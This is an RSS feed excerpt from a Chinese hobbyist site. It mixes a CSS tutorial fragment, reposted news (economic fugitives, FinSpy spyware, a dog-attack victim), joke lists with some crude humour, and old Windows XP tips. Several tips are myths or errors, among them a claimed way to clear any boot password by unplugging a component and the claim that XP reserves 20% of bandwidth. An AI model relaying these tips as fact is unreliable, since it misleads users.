。共有左对齐（left）、右对齐（right）、顶部（top）、底部（bottom）、居中（center）和值（自定义背景图像的起点位置，可使用户对背景图像的位置做出更精确的控制）等6种选择。 

[类型]属性共有九项： 

「字体」（font-family），设定时，需考虑浏览器中有无该字体。 
「大小」（font-size），注意度量单位。 
「粗细」（font-weight），除了normal（正常）、bold（粗体）、bolder（特粗）、lighter（细体）外，还有9种以像素为度量为单位的设置方式。 
「样式」（font-style），也就是字型。 
「行高」（line-height），就是行距。注意，行距只能以是字体大小值为 
「变形」（font-variant），可以将正常文字一半尺寸后大写显示，但IE目前不支持这项属性。 
「大小写」（text-transform），这项属性能轻而易举地控制字母大小写，有首字大写（capitalize、大写（uppercase）、小写（lowercase）和无（none，使所有继承文字和变形参数被忽略，文字将以正常形式显示）等4种。 
「修饰」（text-decoration），用于控制链接文本的显示形态，有下划线（underline）、无下划线（overline）、删除线（line-through）、闪烁（blink）和无（none ，使上述效果均不会发生）等5种修饰方式。但IE4不支持文字闪烁。 


接下一节
[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】 150多名中国经济逃犯正在美国逍遥法外【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373388]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 19:13:05 +0800]]></pubDate>
        <description><![CDATA[英国路透社8月11日报道：中国媒体周一 援引公安部高级官员的话报道说，目前 有150多名中国经济逃犯正在美国逍遥法 外，其中许多是贪官或涉嫌贪腐人员。

中国公安部国际合作局表示，为了将更 多逃犯抓捕归案，他们正努力与美国司 法部门安排年度高级别会议，其中包括 美国国土安全部。

中国领导人已将打击猖獗腐败列为当前 的核心要务之一，警告贪腐现象正危及 党的存亡。长期以来，中国一直在尽力 解决“裸官”问题。至于约有多少大陆官员 及其家人把资产转移至海外，学者们莫 衷一是，其中有些人认为过去5年来该数 字高达100万。

报道援引中国公安部国际合作局局长廖 进荣的话说，美国已成为“中国逃犯逍遥 法外的头号目的地。”但来自公安部的数 据表明，过去10年来，仅有两人被抓捕 回国并受审。

报道援引廖的话说，由于缺乏引渡条约 且相关程序复杂繁琐，在把逃往美国的 嫌犯抓捕回国受审方面，中国面临各种 实际困难。有专家认为，抓捕此类逃犯 的另一难题是，美国司法机构对中国司 法体系和程序存在误解，“总认为中国的 司法机构侵犯嫌犯的人权。”

今年3月中国表示在强化反腐措施的同 时，将加大力度抓捕逃往海外的贪官， 没收其非法资产，并禁止嫌犯出境。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】ios设备是最安全的移动设备，前提是未越狱！【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373386]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 19:09:19 +0800]]></pubDate>
        <description><![CDATA[
报告显示，FinSpy间谍软件可以黑进 Android、黑莓和老版Windows Phone设 备中，但却拿未越狱的iOS设备毫无办 法。 苹果iOS操作系统在防止间谍软件侵入时 表现出众。FinSpy间谍软件被用来测试 各大移动平台，确定它们是否能经得住 该软件对手机通话、联系人和其他数据 的窥视。据悉，FinSpy能帮助执法机关 和情报机构，远程监控移动手机和平板 设备。 FinSpy通过静音来电，访问手机通话、 短信、通讯簿，甚至是麦克风，它还能 追踪设备的位置。FinSpy因其强大的性 能，赢得了声誉，但由于可以潜入移动 设备中，它也是一款具有争议的工具。 报告显示，该款间谍软件可以侵入 Android系统(从2.x.x到4.4.x的所有版 本)、黑莓系统(5.x、6.x和7.x版本)，塞 班系统，以及Windows Mobile 6.1和6.5 系统(软件尚不支持Windows Phone 8)。 至于苹果移动操作系统，各版本的iOS都 出现在了名单上，但是以越狱模式。 Gamma团队称，4.3.x、5.x、6.x和7.0x 版本的iOS容易受到FinSpy攻击，不过前 提是以越狱模式。文件解释道：“iOS目 标(即FinSpy软件本身)只能被装在越狱的 iOS设备上。” 这是否意味着未越狱的iPhone是完全安 全的，并且能抵御类似FinSpy产品的攻 击呢?很遗憾的是，没有任何系统是绝对 安全的。虽然在移动领域，苹果产品安 全性相对较高，但它们并不是坚不可 摧。乔治亚理工学院研究人员曾成功黑 进iOS设备。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影笑话】十五个校园幽默笑话【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373357]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 12:31:48 +0800]]></pubDate>
        <description><![CDATA[1.男同学站在我左边，女同学 站在我右边，其他人原地不动...结 果就他没动。 2.有一天外面下大雨，老师满 脸雨水的走进教室，在讲桌前不 知道找着什么东西，找了一会就 问前排的同学:“我擦纸的脸呢?” 3.线段a是线段b的一半，那 线段b是线段a的多少呢？(全班皆 静，候高论，半晌后)线段b就是 线段a的两半。(晕) 4.初中，某数学老师讲方程式 变换，在讲台上袖子一挽大声喝 道：同学们注意！我要变形了！… … 5.一同学在下面闹，我们老师 说：“你给我站到黑板上面去！！” 高难度啊。 6.我初中老师讲题目喜欢用投 身其中……“我的底面半径是20CM ，我的高是50CM，那么我……”下 面有人说“是饭桶……”全班爆笑… … 7.初中英语老师是个秃子，一 天上课，他问一个同学：“whatda yistoday?’(我的头是秃头？)同学 想了一下，回答：“Yes.” 8.高三数学摸底一男生问：老 师，画图没有铅笔，是借一支还 是用钢笔？老师(老年妇女)答：随 你的大小便吧。 9.高中的代数老师：“说话不 许出声音。” 10.高中一化学老师兼教导主 任做题时故意做错，然后让某同 学找出其中的错误。该同学艰难 的答出之后，老师赞许而很严肃 地说：“很好，你看出了老师的破 腚(绽)。”众皆木然，下课后，老 师刚走出去，全班哄堂大笑。 11.某日，我们高中数学老师 跟我们讲函数周期表时，讲到“周 期”二字时激动地走下讲台，对着 全班同学说：“你们还不了解周期 啊，真的是猪都比你们聪明些。” 然后他指着第一排的一个女生说 ：“你知道什么是周期吗？你跟他 们解释一下。”全班均晕倒。 12.我们初中时候规定升国旗 时候要穿校服，结果总有一些人 没有穿校服或者是单只穿裤子或 者是衣服。然后每次升旗之前校 长都拿着一个扩音喇叭在那里说 ：“有的同学不穿衣服，有的同学 不穿裤子，有的就干脆衣服裤子 都不穿” 13.语文老师教赤壁的课文， 说起曹兵在华容道互相践踏，感 慨道：人流是可怕的…… 14.某天上数学偶看到偶们数 学老师牙上有片绿叶子(老师中午 估计是吃韭菜馅的饺子了)过了一 会发现叶子没了………下课的时候 发现在我们班某女生的脖子上…… 15.初中语文课的女老师刚从 师大毕业，什么都好，就是喜欢 突击式地抽同学上黑板默写名词 解释。方法是，老师口述某个词 ，同学默写，并加解释。记得有 一次，抽到一个不爱听讲的男生 。老师一遍一遍地重复念“间或”， 那男生抓着头皮在黑板前熬了好 几分钟，突然刷刷刷地写下：贱 货：下流呸，不是好东西。全班 暴笑，女老师气得面红耳赤，一 句话都讲不出。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影新闻】女子为救女童，四肢被狼狗啃食【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373356]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 12:25:08 +0800]]></pubDate>
        <description><![CDATA[接下来我们要说的 这条新闻令人震惊，李娟是利辛 县人，前不久她在下班回家路上 看到有两条大狗在追一个小女孩 ，李娟立刻上前撵狗，小女孩顺 利的跑开了。可是两条大狗却把 李娟扑倒在地，在一阵疯狂的撕 咬之后，李娟手上和腿上的肉基 本上被狗啃完了。 解说：10月14日下午在南京 军区南京总医院烫伤分院的四楼 骨科，躺在病床上的李娟神情呆 滞，与手机里的照片判若两人， 李娟的四肢全部裹着纱布，裸露 在外的地方还能看到黑色的皮肤 。 医生：这个里面都没有肉了 ，这个伤的比较重，里面的肌肉 都坏死了。 解说：到了换药时间，医生 解开纱布之后让无法想象的伤口 呈现在记者面前，李娟四肢上的 肉基本被狗啃完了，骨头上仅有 一点刚长出来的肉。原本神情呆 滞的李娟在换药的时候突然哭喊 起来，虽然用近了全身力气，但 基本上只能发出微弱的声音，她 哭喊着不换药，旁边的人听了无 不落泪。 李娟：我不换。 解说：李娟虽然在哭，但在 李娟的眼里却没有眼泪，在医院 的这一个月，李娟的眼泪早就流 干了。李娟想挣扎，可是即使使 出全身的劲，也只是左手动了几 下。这种让人无法想象的痛苦， 李娟每天都要经历一次，让人不 寒而栗。医生介绍，李娟现在的 情况已经比较好了，刚刚来到医 院时简直惨不忍睹。 医生：所有肌肉都坏死，这 个是一开始来的时候，清创时拍 的照片。 主持人：李娟今年27岁，在 利辛县一个饭店上班，原本清纯 漂亮的姑娘，怎么也不会想到被 两条恶狗彻底改变了自己的命运 。 解说：李娟的伤要从今年9月 1日说起，当晚9点多李娟从饭店 下班之后，骑着电瓶车从利辛县 城回往疃镇芦沟村,经过开发区李 营庄南的政通路时，李娟看到两 条大狗正在追咬一名约10岁的小 女孩，小女孩边跑边哭。 张宏宇（李娟的丈夫）：两 条狼狗去追赶一个小女孩，她骑 电瓶车，下去救那个女孩，救了 两个女孩，这两条狼狗围着她不 放了，逮着她就撕咬了。 解说：事发路段比较偏僻， 晚上路灯也不太亮。这残忍的一 幕一直没有人看到。直到一个过 路人经过，看到了倒在血泊中的 李娟。 张宏宇：他就看有个电瓶车 在那停着，因为那个路灯不太亮 ，隔很远亮一个，然后他就下去 看看，看那边睡着的是谁。他又 拿手机电筒照了一下，当时也看 不清，脸上都是血，最后他又看 电瓶车，仔细一看，一看是俺老 婆。 解说：这个过路人恰好认识 李娟，就赶紧通知李娟的家人。 大家赶到之后，看到李娟的惨状 ，第一反映就是腿直发软。 张宏宇：赶到跟前我就吓瘫 了，我当时也站不起来了。 解说：由于伤势非常严重， 而且狗的牙齿非常毒，多家医院 都束手无策，直到转到南京，李 娟才总算保住了性命。 主持 人：截至目前，李娟的家人已经 花费了将近50万元。这些钱，有 的是借的，有的是高利贷。保住 性命之后，李娟需要进行多次植 皮手术，大约还需要50万元。 解说：医生介绍，目前，李 娟的前期救治已经基本结束。下 一步，就是考虑植皮，由于四肢 的肉都没了，只能从头和背部取 皮。 时宁文（南京军区南京总医 院汤山分院十五区主任）：现在 通过换药，新肉芽长上来了，下 面就开始取皮植皮了。但她这种 创面，四肢都有伤，所以我们取 皮的话只能取头皮，取背上的皮 。 解说：如果全部手术做完， 让李娟恢复正常生活，还要一笔 巨额费用。 时宁文：从他们烧伤科开始 搞，从植皮到以后康复，预计一 下是50万。 解说：李娟的家在农村，家 里本来就没钱，为了先保命，家 里东平西凑已经花了50万。 张宏宇：现在总共花了有四 五十万。 记者：借的吗？ 张宏宇：借一部分，也拿一 部分高利贷。 记者：几分利？ 张宏宇：高利贷有五分的， 有一毛的。 记者：现在没办法了。 张宏宇：没办法了，一点办 法没了，能借的都借光了。 解说：在医院欠费期间，医 院的医护人员都非常关照李娟， 医院的领导也特别为李娟开了绿 灯。但是，只要没凑够植皮手术 的钱，李娟就一直不能进行植皮 ， 就要一直经历换药的折磨。现在 李娟急需社会救助，如果您愿意 帮助李娟，可以根据屏幕上的信 息直接把钱汇到银行卡里，也可 以拨打我们的新闻热线。在救治 李娟的同时，李娟的家人也希望 被救女童的家人能够站出来，证 明李娟的见义勇为，因为直到现 在被救女童是谁一直是个迷。 张宏宇：没什么要求，你就 是站出来证明我们救你，然后才 被咬伤。她如果不站出来的话， 我们现在这一块肯定没办法。 记者：有赔钱的要求吗？ 张宏宇：这个没有，她只要 能站出来说一下就可以了。 解说：在这起惨剧中咬人的 两条狗是什么狗？狗主人是谁， 现在李娟的家人也不知道。 张宏宇：它肯定就是那附近 的，因为那附近有三个庄，三个 庄的狗，肯定是那一片的狗。 记者：你刚刚讲可能是狼狗 吧。 张宏宇：对，狼狗。反正我 们对狗品种的认识也不是很清楚 。我老婆说光知道是两条大狼狗 。 解说：被救者到底在哪儿？ 狗主人又是谁？我们的记者已经 赶赴利辛，正在联系相关部门进 行调查。 主持人：一个年轻善良的姑 娘就这样被两条恶狗吞噬，而狗 的主人和女孩的家长到现在也没 有露面，希望你们看到节目之后 能够联系李娟的家人，也希望有 更多的爱心人士能够帮助李娟， 让她早日康复，走出阴影。]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影收集】20个笑话【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373355]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 12:18:17 +0800]]></pubDate>
        <description><![CDATA[1、曾当兵的甲回家后每天在 梦中大喊：阿珍！我离不开你！ 太太问谁是阿珍，甲说是他的战 马。几天后太太塞给甲一封信： 你的战马写信给你了！ 2、老婆：你记不记得去年二 月，你说你去钓鱼这件事？老公 ：当然记得，怎么啦？老婆：上 午有一条鱼打电话过来，说你已 经当爸爸啦！ 3、我被捕后，他们逼我招供 。头天他们打我我没招；第二天 给我灌辣椒水也没招；第三天一 个女人哄我招了，第四天我还想 招，被拖出去枪毙了。 4、一妇女肚子疼，医生看病 时叫她把裤子脱掉。催了几次没 反应，医生不耐烦了：还有很多 人排队，快点！妇女欲语还羞： 你……你先脱！ 5、男：我真的爱你，可一个 小姐怀孕了，非说是我干的。妻 ：我绝对相信不是你，你仔细看 看我们的孩子，哪点像你？ 6、某领导做学习雷锋精神的 报告时念稿曰：雷锋没有死！(众 笑)秘书在一旁小声提示：还有精 神，还有精神！领导接着道：还 精神着呢！ 7、一女子拿一张支票到银行 兑现。出纳员：你能证明是你本 人吗?女子听了困惑不解，掏出一 面镜子照了照，答：没错！是我 本人！ 8、法官：你声称被告从你的 丝袜里偷走了钱?女郎：是的，大 人。法官：那你为什么不反抗？ 女郎红着脸答：我不知道他是要 偷我的钱。 9、甲：我要提醒你，我丈夫 一小时后就会回来。乙：可我并 没有做无礼的事呀。甲：我知道 。如果你想做点的话，只剩下不 到一小时了。 10、甲：昨晚你妻子大吵大 闹了？乙：是的，她在对狗发脾 气。甲：可怜的狗！我好像听到 你妻子甚至威胁要拿走它进门的 钥匙！ 11、丽娜未能怀孕，便去教 堂祈求。一年之后，她果然生了 一子。一朋友得知后也想试试看 ，丽娜说：没问题，只要那个年 轻的看门人还在。 12、山有母熊，猎人欲捕之 。初战，猎人败，被熊奸！休数 日再战，再被奸！养伤毕，再往 ，熊见之狂笑：你狗日的，是来 打猎还是卖淫？ 13、一老太太不识字，但气 象预报每天必听。一天吃饭时问 家人：我有个问题想问问，局部 地区在什么地方？那儿差不多天 天有雨。 14、老农进城瞧病，护士对 他说：去！验血验尿验大便！一 会儿老农端盆屎回来说：闺女， 血咽了，尿也咽了，这屎实在咽 不下去了！ 15、两个农家的孩子在聊天 ，A突然问：你家的牛会抽烟吗？ B：你疯啦？牛怎么会抽烟？A： 哦，那么，也许是你家的牛棚着 火了。 16、厕所前排着长队。某君 ：我快憋不住了，能不能让我先 进？前面的人紧握着拳头，从牙 缝儿挤出一句话：他妈的，你至 少还能说话！ 17、一醉汉不慎从三楼掉下 ，引来路人围观，一警察过来问 ：发生什么事了？醉汉回答：不 清楚，我也是刚到！ 18、两个女职员午饭时聊天 。甲：新来的董事长真帅，衣服 穿得也得体。乙：可不是，衣服 穿得还快呢。 19、病人：我一进去就听护 士说‘勇敢些，别害怕！阑尾手术 是非常简单的。’医生：说的不错 。病人：可她是对要给我做手术 的大夫说的！ 20、乘客：你们这里的司机 开起车来车速惊人，可是却很少 出事故，这是什么原因？司机说 ：先生，技术不高的司机早在车 祸中死去了。
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影经验】电脑上的小技巧【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373345]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 08:22:09 +0800]]></pubDate>
        <description><![CDATA[&lt;!--listS--&gt;一，巧解任何电脑的开机密码&lt;br/&gt;小小一招巧解任何电脑的开机密码，无需任何工具，无需放电，任何电脑当开机需要密码时，只需将机箱打开，把里面的声卡或其它任何一个零件拔下来，然后通电启动，主板自检后再强行关机，把拔下的零件再插上去，开机，密码自动清除，百试百灵。&lt;br/&gt;二，让你的键盘会说话&lt;br/&gt;长期面对无声的电脑，我们难免疲倦。如果正在输入的内容被系统一字(字母)不差地念出来，你还能在无声的疲倦中输入错误的内容吗？以Windows 2000/XP中一个鲜为人知的“讲述人”为例教你DIY一个完全免费的语音键盘。&lt;br/&gt;在“运行”中输入“narrator”，点“确定”。点“确定”跳过后便请出本文的主角──“讲述人”。如果你的音箱已经打开，听到了什么？不想听的话就按一下Ctrl键。再按任意键试试，你输入的字母键被系统用标准的美国英语读了出来，这时一个完全免费的语音键盘就诞生在你的手中了。&lt;br/&gt;三，快速关闭没有响应的程序&lt;br/&gt;“开始→运行”，输入“Regedit”，打开“注册表编辑器”，在HKEY-CURRENT-USER下新建串值Waittokillapptimeout，将其键值设为1000（ms）或更小。&lt;br/&gt;允许强行关机&lt;br/&gt;进入HEKY-USERS.DEFAULTControl Paneldesktop，创建一个字符串“AutoEndTask”，将其键值设为“1”即可。对于真正的死机，一般只能两次按下 “Ctrl+Alt+Del” 组合键或按主机箱上的“Reset”键（因为消耗资源较少，故前者优先）来重新启动了。&lt;br/&gt;系统死机时自动重新启动&lt;br/&gt;进入HKEY_LOCAL_MACHINESystemCurrentControlSetC-o-n-trolCrashControl主键，在右边的窗口中修改“AutoReboot”，将其的键值改为“1”。&lt;br/&gt;四，ESC键不太为人知的几个妙用&lt;br/&gt;对于一般用户而言，位于键盘左上方的ESC键并不常用，但你知道吗？其实借助ESC键还能实现不少快捷操作哦！&lt;br/&gt;1.上网时，如果点错了某个网址，直接按ESC键即可停止打开当前网页。&lt;br/&gt;2.上网时总免不了要填写一些用户名什么的，如果填错了，按ESC键即可清除所有的框内内容；而打字时，如果打错了也可以按ESC键来清除错误的选字框。&lt;br/&gt;3.除了“Ctrl+Alt+Del”组合键可以调出windows任务管理器外，按下“Ctrl+Shift+Esc”组合键一样能启动任务管理器。&lt;br/&gt;4.当某个程序不处于活动状态而我们又想将其恢复为活动状态时，按“Alt+Esc”键即可激活该应用程序，而不必用鼠标点击程序标题栏。&lt;br/&gt;5.对于存在“取消”选项的弹出窗口而言，如果你要选择取消的话，直接按ESC键即可实现“取消”操作&lt;br/&gt;五、加快开关机速度&lt;br/&gt;在Windows XP中关机时，系统会发送消息到运行程序和远程服务器，告诉它们系统要关闭，并等待接到回应后系统才开始关机。加快开机速度，可以先设置自动结束任务，首先找到HKEY_CURRENT_USER Control PanelDesktop，把AutoEndTasks的键值设置为1；然后在该分支下有个“HungAppTimeout”，把它的值改为“4000(或更少)，默认为50000；最后再找到 HKEY_LOCAL_MACHINESystemCurrentControlSetControl，同样把 WaitToKillServiceTimeout设置为“4000”；通过这样设置关机速度明显快了不少。&lt;br/&gt;六、提高宽带速度&lt;br/&gt;专业版的Windows XP默认保留了20%的带宽，其实这对于我们个人用户来说是没有什么作用的。尤其让它闲着还不如充分地利用起来。&lt;br/&gt;在“开始→运行”中输入gpedit.msc，打开组策略编辑器。找到“计算机配置→管理模板→网络→QoS数据包调度程序”，选择右边的“限制可保留带宽”，选择“属性”打开限制可保留带宽属性对话框，选择“启用”，并将原来的“20”改为“0”，这样就释放了保留的带宽。&lt;br/&gt;七、优化网上邻居&lt;br/&gt;Windows XP网上邻居在使用时系统会搜索自己的共享目录和可作为网络共享的打印机以及计划任务中和网络相关的计划任务，然后才显示出来，这样速度显然会慢的很多。这些功能对我们没多大用的话,可以将其删除。在注册表编辑器中找到 HKEY_LOCAL_MACHINEsofewareMicrosoftWindowsCurrent VersionExploreRemoteComputerNameSpace，删除其下的(打印机)和{D6277990-4C6A-11CF8D87- 00AA0060F5BF}(计划任务)，重新启动电脑，再次访问网上邻居，你会发现快了很多。&lt;br/&gt;八、加快启动速度&lt;br/&gt;要加快Windows XP的启动速度。可以通过修改注册表来达到目的,在注册表编辑器，找到 HKEY_LOCAL_MACHINE---SYSTEM-----Current----ControlSet---Control----Session Manager----Memory Management-----PrefetchParameters，在右边找到EnablePrefetcher主键，把它的默认值3改为1，这样滚动条滚动的时间就会减少；&lt;br/&gt;九、自动关闭停止响应程序&lt;br/&gt;有些时候，XP会提示你某某程序停止响应，很烦，通过修改注册表我们可以让其自行关闭，在HKEY_CURRENT_USER-----Control Panel----Desktop中将字符健值是AutoEndTasks的数值数据更改为1，重新注销或启动即可。&lt;br/&gt;十、加快菜单显示速度&lt;br/&gt;为了加快菜单的显示速度，我们可以按照以下方法进行设置：我们可以在HKEY_CURRENT_USERControl PanelDesktop下找到“MenuShowDelay”主键，把它的值改为“0”就可以达到加快菜单显示速度的效果。&lt;br/&gt;十一、清除内存中不被使用的DLL文件&lt;br/&gt;在注册表的HKKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion，在Explorer增加一个项AlwaysUnloadDLL，默认值设为1。注：如由默认值设定为0则代表停用此功能。&lt;br/&gt;十二、加快预读能力改善开机速度&lt;br/&gt;Windows XP预读设定可提高系统速度，加快开机速度。按照下面的方法进行修改可进一步善用CPU的效率：&lt;br/&gt;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]，?refetchParameters右边窗口，将EnablePrefetcher的数值数据如下更改，如使用PIII 800MHz CPU以上的建议将数值数据更改为4或5，否则建议保留数值数据为默认值即3。&lt;br/&gt;十三、减少启动时加载项目&lt;br/&gt;许多应用程序在安装时都会自作主张添加至系统启动组，每次启动系统都会自动运行，这不仅延长了启动时间，而且启动完成后系统资源已经被消耗掉！&lt;br/&gt;启动“系统配置实用程序”，在“启动”项中列出了系统启动时加载的项目及来源，仔细查看你是否需要它自动加载，否则清除项目前的复选框，加载的项目愈少，启动的速度自然愈快。此项需要重新启动方能生效。&lt;br/&gt;十四、Windows卸载顽固程序精彩技巧&lt;br/&gt;随着网络的普及，网上的软件也越来越多，给大家带来了极大的方便，但有一些软件以IE插件的形式强制安装，无法卸载，顽固地驻留于用户电脑之中;有些软件在安装后，并没有提供卸载程序，即使在控制面板中将其删除，仍然会有残余的线程文件向外发送信息，用户通常只能采用手工的办法去删除，这样操作起来不但麻烦，而且还容易误删系统文件。以下是一些卸载顽固程序比较另类的方法，希望对大家有所帮助。&lt;br/&gt;1、巧用QQ来卸载顽固程序&lt;br/&gt;将QQ安装目录下的unins000.exe文件拷贝到要卸载文件的安装目录，再执行该程序即可!这种办法对于卸载那些反安装程序丢失或者损坏的文件有特效。&lt;br/&gt;2、Winamp的卸载程序可以安全卸载大部分应用程序&lt;br/&gt;首先在“我的电脑”找到Winamp安装目录下的UninstWp.exe程序，复制并粘贴到顽固程序所在的文件夹中，双击运行该程序就可以把顽固程序卸载得干干净净了。&lt;br/&gt;3、运用WinRAR卸载顽固程序&lt;br/&gt;通过其地址栏定位到顽固程序所在文件夹，再点工具栏上的“添加”按纽，此时会弹出“档案文件名字和参数”对话框，在“存档选项”中勾选“存档后删除原文件”点击“确定”，等压缩完成后，WinRAR会自动删除顽固软件文件夹，然后手工将刚生成的压缩包删除，一切搞定。&lt;br/&gt;4、微软反间谍软件完美卸载3721程序&lt;br/&gt;首先下载微软反间谍软件MicrosoftAntiSpywareInstall.exe，界面是英文的，文字相当于高中英语水平，慢慢看能懂，安装后按提示升级最新数据库，执行SCAN后发现100多个3721，CNS*的东西，选择REMOVE，慢慢的微软反间谍软件清除3721，CNS*的东西，再提示重新启动机器;第一次3721还没清除完，在/PROGRAM FILES/下还有3721目录，先卸载网络实名，右键清除开始——程序菜单中的3721条，再运行微软反间谍软件，扫描后发现多个3721，CNS*的东西，但数量比第一次少多了选择，选择REMOVE，清除3721，CNS*的东西，再重新启动机器，这样就彻底清除3721。&lt;br/&gt;5、运用Windows XP附带的Msicuu.exe、Msizap.exe来彻底卸载顽固程序&lt;br/&gt;首先打开Windows XP安装盘，点“Support Tools”，进入硬盘Support Tools安装目录(Xrogram FilesSupport Tools)，找到Msicuu.exe并双击，于是就会弹出一个“Windows Installer Clean Up”窗口，显示当前已安装的所有程序列表。你从中选择顽固程序，然后单击“Rmove”按钮即可卸载。如果以上方法无效，建议你用Msizap.exe来卸载，即:打开注册表编辑器，定位到HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall，在左边项中找到顽固程序的标识(例如{268723B7-A994-4286-9F85-B974D5CAFC7B})，然后依次“开始→程序→Windows Support Tools→Command Prompt”命令，在命令提示符后，输入以下命令:msizap T {顽固程序的标识}，按回车后即可卸载顽固程序。&lt;br/&gt;6、超级兔子优化王专业卸载功能卸载常见顽固软件及IE插件&lt;br/&gt;首先选择优化王下的“卸载软件”功能，然后切换到“专业卸载”选项卡，此处提供了18种软件的卸载功能。超级兔子优化王软件会自动对系统进行检测，若装有该程序的话此处便会显示“已安装”，接着选中要卸载的软件，单击“下一步”就可以把这些程序清理干净，将它们彻底赶出系统。&lt;br/&gt;十五、让墙纸设置与众不同&lt;br/&gt;Windows95以后的操作系统提供有三种墙纸放置方式：&quot;居中&quot;、&quot;平铺&quot;、&quot;拉伸&quot;，用户可以根据个人的喜欢和图片的大小选择墙纸的放置方式。其实Windows还提供了一种可以利用X、Y坐标来精确放置墙纸的方式，这种方式可以把墙纸设定在一个指定的位置，配合桌面图标。&lt;br/&gt;打开注册表&lt;br/&gt;1、HKEY_CURRENT_USERCoutrol PanelDesktop子键&lt;br/&gt;2、在右侧窗口中新建两个字符串值:&quot;WallPaperoriginX&quot;(图片所在位置的X坐标)&lt;br/&gt;和&quot;WallpaperoriginY&quot;(图片所在位置的Y坐标)&lt;br/&gt;3、分别双击它们就可以输入坐标，需要注意的是X、Y坐标的范围是有限的，这要由用户为屏幕设置的分辨率决定。如果用户的分辨率是1024*768，则X坐标的最大值不能超过1024；而Y坐标的最大值不能超过768。当然更不能是负数了。其他分辨率的用户可以据此类推。&lt;br/&gt;4、重新启动计算机，就会看到以第四种方式设置的墙纸了&lt;br/&gt;十六、常用快捷键&lt;br/&gt;winkey+d :&lt;br/&gt;这是高手最常用的第一快捷组合键。这个快捷键组合可以将桌面上的所有窗口瞬间最小化，无论是聊天的窗口还是游戏的窗口……只要再次按下这个组合键，刚才的所有窗口都回来了，而且激活的也正是你最小化之前在使用的窗口！&lt;br/&gt;winkey+f :&lt;br/&gt;不用再去移动鼠标点“开始→搜索→文件和文件夹”了，在任何状态下，只要一按winkey+f就会弹出搜索窗口。&lt;br/&gt;winkey+r :&lt;br/&gt;在我们的文章中，你经常会看到这样的操作提示:“点击‘开始→运行’，打开‘运行’对话框……”。其实，还有一个更简单的办法，就是按winkey + r！&lt;br/&gt;alt + tab :&lt;br/&gt;如果打开的窗口太多，这个组合键就非常有用了，它可以在一个窗口中显示当前打开的所有窗口的名称和图标●，选中自己希望要打开的窗口，松开这个组合键就可以了。而alt+tab+shift键则可以反向显示当前打开的窗口。&lt;br/&gt;winkey+e :&lt;br/&gt;当你需要打开资源管理器找文件的时候，这个快捷键会让你感觉非常“爽”！再也不用腾出一只手去摸鼠标了！&lt;br/&gt;注：winkey指的是键盘上刻有windows徽标的键●。winkey主要出现在104键和107键的键盘中。104键盘又称win95键盘，这种键盘在原来101键盘的左右两边、ctrl和alt键之间增加了两个windwos键和一个属性关联键。107键盘又称为win98键盘，比104键多了睡眠、唤醒、开机等电源管理键，这3个键大部分位于键盘的右上方。&lt;!--listE--&gt;]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影经验】十个电脑的坏习惯【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373344]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Wed, 28 Oct 2015 08:04:13 +0800]]></pubDate>
        <description><![CDATA[一、多程序同时运行 许多人喜欢玩电脑时，游戏多开，或者 边玩游戏，边聊天，看邮件，浏览网 页，听音乐等等。这些很容易造成电脑 高负荷运行，对电脑硬件造成不可恢复 的损伤，甚至直接烧坏我们的电脑。 二、在键盘上吃零食，喝饮料 这个习惯恐怕是很普遍了，我身边很多 人都是这样的，特别是入迷者更是把电 脑台当成饭桌来使用。我想你要是拆一 回你的键盘，也许会被吓到！你可以看 到你的键盘存留了很多“化石”，饭粒、饼 干渣、头发等等比比皆是，触目惊心。 同时这样的碎片还可能进入你的键盘里 面，堵塞你键盘上的电路，从而造成输 入困难。饮料的危害就更加厉害了，一 次就足以毁灭你的键盘。就是你的键盘 侥幸没有被毁灭，恐怕打起字来，也是 粘粘糊糊，非常不爽。 三、关了机又马上重新启动 经常有人一关机就发现还有某个事情没 有完成，可以说有同样毛病的人还是很 多的。很多人反应迅速，在关闭电源的 一刹那就能想起来，然后就立马重新开 机，造成电脑短时间频繁脉冲的电压冲 击，可能会损害计算机上的集成电路;， 使电脑硬盘受到很大的损伤，现在的硬 盘都是高速硬盘，从切断电源到盘片完 全停止转动，需要比较长的时间。如果 盘片没有停转，就重新开机，就相当于 让处在减速状态的硬盘重新加速。长此 下去，这样的冲击一定会使得你的硬盘 报废！ 四、用手摸屏幕 其实无论是CRT或者是LCD都是不能用手 摸的。计算机在使用过程中会在元器件 表面积聚大量的静电电荷。最典型的就 是显示器在使用后用手去触摸显示屏 幕，会发生剧烈的静电放电现象，静电 放电可能会损害显示器，特别是脆弱的 LCD。这可能对保护层造成划伤、损害显 示器的液晶分子，使得显示效果大打折 扣。 五、大力敲击回车键 